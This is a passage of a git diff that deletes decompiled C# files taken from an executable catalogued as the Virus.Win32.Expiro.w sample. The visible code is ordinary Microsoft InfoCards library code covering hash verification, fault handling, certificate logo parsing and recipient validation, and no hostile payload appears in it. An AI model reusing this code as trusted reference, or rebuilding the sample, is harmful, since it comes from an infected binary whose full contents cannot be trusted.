epr.GetReaderAtMetadata()).MetadataSections) - { - if (metadataSection.Metadata is MetadataReference && (EndpointAddress) null != ((MetadataReference) metadataSection.Metadata).Address && string.Compare(((MetadataReference) metadataSection.Metadata).Address.Uri.Scheme, "https", StringComparison.OrdinalIgnoreCase) == 0) - { - endpointAddress = ((MetadataReference) metadataSection.Metadata).Address; - break; - } - } - } - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - } - return endpointAddress; - } - - public static XmlDictionaryReader CreateReaderWithQuotas(string root) - { - byte[] bytes = new UTF8Encoding().GetBytes(root); - return XmlDictionaryReader.CreateTextReader(bytes, 0, bytes.GetLength(0), (Encoding) null, InfoCardConstants.DefaultQuotas, (OnXmlDictionaryReaderClose) null); - } - - public static XmlDictionaryReader CreateReaderWithQuotas(Stream input) => XmlDictionaryReader.CreateTextReader(input, (Encoding) null, InfoCardConstants.DefaultQuotas, (OnXmlDictionaryReaderClose) null); - - public static MemoryStream ReadByteStreamFromBase64(XmlReader reader) - { - MemoryStream memoryStream = new MemoryStream(); - if (!reader.IsEmptyElement && reader.Read() && reader.NodeType != XmlNodeType.EndElement) - { - byte[] buffer = new byte[1024]; - int count; - while ((count = reader.ReadContentAsBase64(buffer, 0, buffer.Length)) > 0) - memoryStream.Write(buffer, 0, count); - memoryStream.Flush(); - memoryStream.Seek(0L, SeekOrigin.Begin); - } - return memoryStream; - } - - public static BindingElementCollection UpdateProxyForHttpAndRestrictTransportBinding( - BindingElementCollection source, - IWebProxy proxy, - bool turnOffClientAuthOnTransport) - { - InfoCardTrace.Assert(null != source, "Do not expect a null bindingElementCollection"); - if (source.Find() == null) - throw InfoCardTrace.ThrowHelperError((Exception) new UnsupportedPolicyOptionsException()); - BindingElementCollection elementCollection = HttpProxyTransportBindingElement.ReplaceHttpTransportWithProxy(source, proxy, turnOffClientAuthOnTransport); - TransportBindingElement transportBindingElement = elementCollection.Find(); - InfoCardTrace.Assert(null != transportBindingElement, "We ensured there is a TransportBindingElement at the start of this function"); - transportBindingElement.MaxReceivedMessageSize = (long) InfoCardConstants.MaximumMessageSize; - switch (transportBindingElement) - { - case TcpTransportBindingElement _: - case HttpProxyTransportBindingElement _: - if (turnOffClientAuthOnTransport) - { - Collection all = elementCollection.FindAll(); - InfoCardTrace.Assert(all != null && 1 >= all.Count, "Should not be null (even if empty) and there should be at most one StreamUpgradeBindingElement"); - foreach (StreamUpgradeBindingElement upgradeBindingElement in all) - { - if (!(upgradeBindingElement is SslStreamSecurityBindingElement)) - throw InfoCardTrace.ThrowHelperError((Exception) new UnsupportedPolicyOptionsException()); - } - } - return elementCollection; - default: - InfoCardTrace.Assert(null == transportBindingElement as HttpTransportBindingElement, "Http(s)TransportBindingElement should have been replaced by HttpProxyTransportBindingElement above"); - throw InfoCardTrace.ThrowHelperError((Exception) new UnsupportedPolicyOptionsException()); - } - } - - public static bool KillHelper(Process p) - { - bool flag = false; - if (!p.HasExited) - { - try - { - p.Kill(); - flag = true; - } - catch (InvalidOperationException ex) - { - } - catch (Win32Exception ex) - { - if (5 != ex.NativeErrorCode) - throw ex; - } - } - return flag; - } - - [System.Flags] - public enum SubjectAtrributeHAFlags - { - NotEnabled = 0, - Enabled = 1, - OrganizationHA = 2, - LocStateCountryHA = 4, - LogoHA = 8, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/VerifyHashRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/VerifyHashRequest.cs deleted file mode 100644 index f45e44f0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/VerifyHashRequest.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.VerifyHashRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class VerifyHashRequest : ClientRequest - { - private int m_cryptoSession; - private byte[] m_hash; - private string m_hashAlgorithmOid; - private byte[] m_signature; - private bool m_verified; - - public VerifyHashRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - this.m_cryptoSession = 0; - this.m_hash = (byte[]) null; - this.m_hashAlgorithmOid = (string) null; - this.m_signature = (byte[]) null; - this.m_verified = false; - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_cryptoSession = reader.ReadInt32(); - int count1 = reader.ReadInt32(); - this.m_hash = reader.ReadBytes(count1); - int count2 = reader.ReadInt32(); - this.m_signature = reader.ReadBytes(count2); - this.m_hashAlgorithmOid = Utility.DeserializeString(reader); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_hash == null || 0 == this.m_hash.Length, "hash"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_signature == null || 0 == this.m_signature.Length, "signature"); - InfoCardTrace.ThrowInvalidArgumentConditional(null == this.m_hashAlgorithmOid, "hashAlgorithmOid"); - } - - protected override void OnProcess() => this.m_verified = ((AsymmetricCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).VerifyHash(this.m_hash, this.m_hashAlgorithmOid, this.m_signature); - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - binaryWriter.Write(this.m_verified); - binaryWriter.Flush(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/WSIdentityFaultException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/WSIdentityFaultException.cs deleted file mode 100644 index b3b89532..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/WSIdentityFaultException.cs +++ /dev/null @@ -1,98 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.WSIdentityFaultException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Globalization; -using System.Runtime.Serialization; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class WSIdentityFaultException : InfoCardBaseException - { - private const int HRESULT = -1073413871; - - public static void ThrowIfFaultMessage(Message message, CultureInfo displayCulture) - { - if (message.IsFault) - { - MessageFault fault1 = MessageFault.CreateFault(message, 2000000); - FaultException fault2 = FaultException.CreateFault(fault1); - string message1 = fault2.Message; - string extendedMessage = string.Empty; - if (fault1.Reason != null) - { - FaultReasonText matchingTranslation = fault1.Reason.GetMatchingTranslation(displayCulture); - if (matchingTranslation != null) - extendedMessage = matchingTranslation.Text; - } - if (fault1.HasDetail) - { - using (XmlReader atDetailContents = (XmlReader) fault1.GetReaderAtDetailContents()) - { - if (atDetailContents.Read()) - message1 = string.Format((IFormatProvider) CultureInfo.CurrentUICulture, SR.GetString("FaultMessageFormat"), new object[2] - { - (object) fault2.Message, - (object) atDetailContents.ReadOuterXml() - }); - } - } - throw InfoCardTrace.ThrowHelperErrorWithNoLogging((Exception) new WSIdentityFaultException(message1, extendedMessage, (Exception) fault2)); - } - } - - public WSIdentityFaultException() - : base(-1073413871) - { - } - - public WSIdentityFaultException(string message) - : base(-1073413871, message) - { - } - - public WSIdentityFaultException(string message, string extendedMessage, Exception inner) - : base(-1073413871, message, extendedMessage) - { - if (!(inner is FaultException)) - return; - this.MapFaultException(inner as FaultException); - } - - protected WSIdentityFaultException(SerializationInfo si, StreamingContext sc) - : base(-1073413871, si, sc) - { - } - - private void MapFaultException(FaultException fe) - { - if (fe == null || fe.Code == null || fe.Code.SubCode == null || !(fe.Code.SubCode.Namespace == "http://schemas.xmlsoap.org/ws/2005/05/identity/fault")) - return; - switch (fe.Code.SubCode.Name) - { - case "InformationCardRefreshRequired": - this.HResult = -1073413760; - break; - case "MissingAppliesTo": - this.HResult = -1073413759; - break; - case "InvalidProofKey": - this.HResult = -1073413758; - break; - case "UnknownInformationCardReference": - this.HResult = -1073413757; - break; - case "FailedRequiredClaims": - this.HResult = -1073413756; - break; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509AudioLogo.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509AudioLogo.cs deleted file mode 100644 index 846ec695..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509AudioLogo.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509AudioLogo -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.Collections.Generic; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal sealed class X509AudioLogo : X509Logo - { - public X509AudioLogo( - X509LogoType logoType, - string mediaType, - Dictionary hashes, - List fileLocations) - : base(logoType, mediaType, hashes, fileLocations) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509CertificateTokenFactoryCredential.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509CertificateTokenFactoryCredential.cs deleted file mode 100644 index bb76b493..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509CertificateTokenFactoryCredential.cs +++ /dev/null @@ -1,68 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509CertificateTokenFactoryCredential -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.IO; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; - -namespace Microsoft.InfoCards -{ - internal class X509CertificateTokenFactoryCredential : TokenFactoryCredential - { - private X509Certificate2 m_cert; - private string m_contextKey; - private string m_portName; - private UIAgentRequest m_request; - private bool m_disposed; - private object m_sync = new object(); - - public X509CertificateTokenFactoryCredential(UIAgentRequest request) - : base(TokenFactoryCredentialType.X509CertificateCredential) - { - this.m_request = request; - } - - public string ContextKey => this.m_contextKey; - - public string PortName => this.m_portName; - - public X509Certificate2 Certificate => this.m_cert; - - protected override void DeserializeData(BinaryReader reader) - { - this.m_portName = Utility.DeserializeString(reader); - this.m_contextKey = Utility.DeserializeString(reader); - byte[] numArray = new byte[reader.ReadInt32()]; - reader.Read(numArray, 0, numArray.Length); - this.m_cert = new X509Certificate2(numArray); - this.m_cert.PrivateKey = (AsymmetricAlgorithm) new RemoteCryptoRsaServiceProvider(this, this.m_request); - } - - public override void Dispose(bool disposing) - { - if (this.m_disposed) - return; - lock (this.m_sync) - { - if (this.m_disposed) - return; - try - { - if (disposing) - { - this.m_cert.PrivateKey.Clear(); - this.m_cert.PublicKey.Key.Clear(); - } - this.m_disposed = true; - } - finally - { - base.Dispose(disposing); - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509ImageLogo.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509ImageLogo.cs deleted file mode 100644 index 56b7b56c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509ImageLogo.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509ImageLogo -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.Collections.Generic; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal sealed class X509ImageLogo : X509Logo - { - public X509ImageLogo( - X509LogoType logoType, - string mediaType, - Dictionary hashes, - List fileLocations) - : base(logoType, mediaType, hashes, fileLocations) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509Logo.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509Logo.cs deleted file mode 100644 index 3745f8c4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509Logo.cs +++ /dev/null @@ -1,62 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509Logo -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.Collections.Generic; -using System.IO; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal abstract class X509Logo - { - private X509LogoType m_logoType; - private string m_mediaType; - private Dictionary m_fileHashes; - private List m_fileLocations; - - public X509LogoType LogoType => this.m_logoType; - - public string MediaType => this.m_mediaType; - - public Dictionary Hashes => this.m_fileHashes; - - public List FileLocations => this.m_fileLocations; - - public X509Logo( - X509LogoType logoType, - string mediaType, - Dictionary hashes, - List fileLocations) - { - this.m_logoType = logoType; - this.m_mediaType = mediaType; - this.m_fileHashes = hashes; - this.m_fileLocations = fileLocations; - } - - public override string ToString() => base.ToString(); - - protected virtual void OnSerialize(BinaryWriter writer) - { - } - - public void Serialize(BinaryWriter writer) - { - writer.Write((byte) this.LogoType); - Utility.SerializeString(writer, this.MediaType); - writer.Write(this.Hashes.Count); - foreach (Oid key in this.Hashes.Keys) - { - Utility.SerializeString(writer, key.Value); - Utility.SerializeBytes(writer, this.m_fileHashes[key]); - } - writer.Write(this.FileLocations.Count); - foreach (string fileLocation in this.FileLocations) - Utility.SerializeString(writer, fileLocation); - this.OnSerialize(writer); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509LogoDataType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509LogoDataType.cs deleted file mode 100644 index 2b9f3990..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509LogoDataType.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509LogoDataType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal enum X509LogoDataType - { - Image, - Audio, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509LogoType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509LogoType.cs deleted file mode 100644 index 8d5298b9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509LogoType.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509LogoType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal enum X509LogoType : byte - { - Community = 160, // 0xA0 - Issuer = 161, // 0xA1 - Subject = 162, // 0xA2 - Other = 163, // 0xA3 - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509LogoTypeExtension.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509LogoTypeExtension.cs deleted file mode 100644 index 17124a7e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509LogoTypeExtension.cs +++ /dev/null @@ -1,201 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509LogoTypeExtension -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IO; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal sealed class X509LogoTypeExtension : X509Extension - { - private const string szOID_LOGO_TYPES = "1.3.6.1.5.5.7.1.12"; - private const byte OctetStringTag = 4; - private const byte ObjectIdentifierTag = 6; - private const byte StringTag = 22; - private const byte SequenceTag = 48; - private const byte DirectTag = 160; - private const byte IndirectTag = 161; - private const byte AudioLogoTypeDataTag = 161; - private List m_logos = new List(); - private bool m_decodePathComplete; - - public List Logos => this.m_logos; - - public void TryDecodeExtension() - { - try - { - this.DecodeExtension(); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - InfoCardTrace.TraceAndLogException(ex); - } - this.m_decodePathComplete = true; - } - - public X509LogoTypeExtension(byte[] rawData) - : base("1.3.6.1.5.5.7.1.12", rawData, false) - { - } - - public static X509LogoTypeExtension FromCertificate( - X509Certificate2 certificate) - { - return certificate.Extensions == null || certificate.Extensions["1.3.6.1.5.5.7.1.12"] == null ? (X509LogoTypeExtension) null : new X509LogoTypeExtension(certificate.Extensions["1.3.6.1.5.5.7.1.12"].RawData); - } - - public override void CopyFrom(AsnEncodedData asnEncodedData) - { - base.CopyFrom(asnEncodedData); - this.Critical = false; - this.m_decodePathComplete = false; - } - - public override string ToString() => base.ToString(); - - private void DecodeExtension() - { - BinaryReader br = (BinaryReader) new InfoCardBinaryReader((Stream) new MemoryStream(this.RawData)); - ASCIIEncoding asciiEncoding = new ASCIIEncoding(); - this.VerifyByte(br.ReadByte(), (byte) 48); - this.ReadAsnByteLength(br); - while (!this.ReachedEndPosition(br.BaseStream.Position, br.BaseStream.Length)) - { - Dictionary hashes = new Dictionary(); - List fileLocations = new List(); - X509LogoType logoType = (X509LogoType) br.ReadByte(); - long position = br.BaseStream.Position; - long num1 = (long) this.ReadAsnByteLength(br); - long num2 = br.BaseStream.Position + num1; - if (X509LogoType.Subject != logoType && X509LogoType.Issuer != logoType) - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoUnsupportedType"))); - byte input1 = br.ReadByte(); - this.VerifyByte(input1, new byte[2] - { - (byte) 160, - (byte) 161 - }); - this.ReadAsnByteLength(br); - if ((byte) 161 == input1) - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoUnsupportedIndirectReferences"))); - this.VerifyByte(br.ReadByte(), (byte) 48); - this.ReadAsnByteLength(br); - byte input2 = br.ReadByte(); - bool flag; - if ((byte) 161 == input2) - { - flag = false; - InfoCardTrace.TraceAndLogException((Exception) new LogoValidationException(SR.GetString("LogoUnsupportedAudio"))); - this.VerifyByte(br.ReadByte(), (byte) 48); - } - else - { - flag = true; - this.VerifyByte(input2, (byte) 48); - } - this.ReadAsnByteLength(br); - this.VerifyByte(br.ReadByte(), (byte) 48); - this.ReadAsnByteLength(br); - this.VerifyByte(br.ReadByte(), (byte) 22); - int count1 = this.ReadAsnByteLength(br); - string mediaType = asciiEncoding.GetString(br.ReadBytes(count1)); - this.VerifyByte(br.ReadByte(), (byte) 48); - int num3 = this.ReadAsnByteLength(br); - long endPosition1 = br.BaseStream.Position + (long) num3; - while (!this.ReachedEndPosition(br.BaseStream.Position, endPosition1)) - { - this.VerifyByte(br.ReadByte(), (byte) 48); - this.ReadAsnByteLength(br); - this.VerifyByte(br.ReadByte(), (byte) 48); - int num4 = this.ReadAsnByteLength(br); - long num5 = br.BaseStream.Position + (long) num4; - Oid key = this.ReadObjectIdentifier(br); - br.BaseStream.Position = num5; - this.VerifyByte(br.ReadByte(), (byte) 4); - int count2 = this.ReadAsnByteLength(br); - byte[] numArray = br.ReadBytes(count2); - hashes[key] = numArray; - } - this.VerifyByte(br.ReadByte(), (byte) 48); - int num6 = this.ReadAsnByteLength(br); - long endPosition2 = br.BaseStream.Position + (long) num6; - while (!this.ReachedEndPosition(br.BaseStream.Position, endPosition2)) - { - this.VerifyByte(br.ReadByte(), (byte) 22); - int count3 = this.ReadAsnByteLength(br); - fileLocations.Add(asciiEncoding.GetString(br.ReadBytes(count3))); - } - if (br.BaseStream.Position != num2) - br.BaseStream.Position = num2; - if (flag) - this.m_logos.Add((X509Logo) new X509ImageLogo(logoType, mediaType, hashes, fileLocations)); - } - } - - private void VerifyByte(byte input, byte[] expected) - { - foreach (int num in expected) - { - if (num == (int) input) - return; - } - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoInvalidLogoType"))); - } - - private void VerifyByte(byte input, byte expected) - { - if ((int) input != (int) expected) - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoInvalidLogoType"))); - } - - private bool ReachedEndPosition(long currentPosition, long endPosition) - { - if (currentPosition > endPosition) - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoInvalidCertificateLength"))); - return currentPosition == endPosition; - } - - private int ReadAsnByteLength(BinaryReader br) - { - byte num1 = br.ReadByte(); - if (((int) num1 & 128) == 0) - return (int) num1; - int num2 = (int) num1 & (int) sbyte.MaxValue; - if (num2 < 1 || num2 > 4) - throw InfoCardTrace.ThrowHelperError((Exception) new LogoValidationException(SR.GetString("LogoInvalidAsnLength"))); - byte[] numArray = br.ReadBytes((int) num1 & (int) sbyte.MaxValue); - int num3 = 0; - foreach (int num4 in numArray) - num3 = num4 + (num3 << 8); - return num3; - } - - private Oid ReadObjectIdentifier(BinaryReader br) - { - this.VerifyByte(br.ReadByte(), (byte) 6); - int count = this.ReadAsnByteLength(br); - byte[] numArray = br.ReadBytes(count); - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.AppendFormat("{0}.{1}.", (object) ((int) numArray[0] / 40), (object) ((int) numArray[0] % 40)); - for (int index = 1; index < count; ++index) - { - stringBuilder.Append(numArray[index].ToString((IFormatProvider) CultureInfo.InvariantCulture)); - if (index != count - 1) - stringBuilder.Append('.'); - } - return new Oid(stringBuilder.ToString()); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509RecipientIdentity.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509RecipientIdentity.cs deleted file mode 100644 index 3a29aa07..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/X509RecipientIdentity.cs +++ /dev/null @@ -1,64 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.X509RecipientIdentity -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Tokens; -using System.Security.Cryptography.X509Certificates; -using System.ServiceModel; - -namespace Microsoft.InfoCards -{ - internal class X509RecipientIdentity : RecipientIdentity - { - private X509Certificate2Collection m_certificates; - private Recipient.RecipientCertParameters m_recipientParams; - private bool isChainTrusted; - - public Recipient.RecipientCertParameters RecipientParams => this.m_recipientParams; - - public X509Certificate2 LeafCertificate => this.m_certificates[0]; - - public X509RecipientIdentity(EndpointAddress epr, X509Certificate2Collection certificates) - : base(epr) - { - this.m_certificates = certificates; - } - - public override void Validate() - { - if (this.HasBeenValidated) - return; - this.isChainTrusted = this.ValidateCertificate(); - this.Identifier = Recipient.CertGetRecipientIdHash(this.LeafCertificate, this.m_certificates, this.isChainTrusted, out this.m_recipientParams); - this.OrganizationIdentifier = Recipient.CertGetRecipientOrganizationIdHash(this.LeafCertificate, this.m_certificates, this.ValidateCertificate()); - this.OrganizationPPIDIdentifier = Recipient.CertGetRecipientOrganizationPPIDSeedHash(this.LeafCertificate, this.m_certificates, this.ValidateCertificate()); - this.HasBeenValidated = true; - } - - public override string GetName() - { - string name = this.LeafCertificate.FriendlyName; - if (string.IsNullOrEmpty(name)) - name = this.LeafCertificate.GetNameInfo(X509NameType.SimpleName, false); - return name; - } - - private bool ValidateCertificate() - { - bool chainTrustPassed = false; - try - { - InfoCardX509Validator.ValidateChainOrPeer(this.LeafCertificate, this.m_certificates, out chainTrustPassed); - } - catch (SecurityTokenValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("RecipientCertificateNotValid"), (Exception) ex)); - } - return chainTrustPassed; - } - } -} diff --git 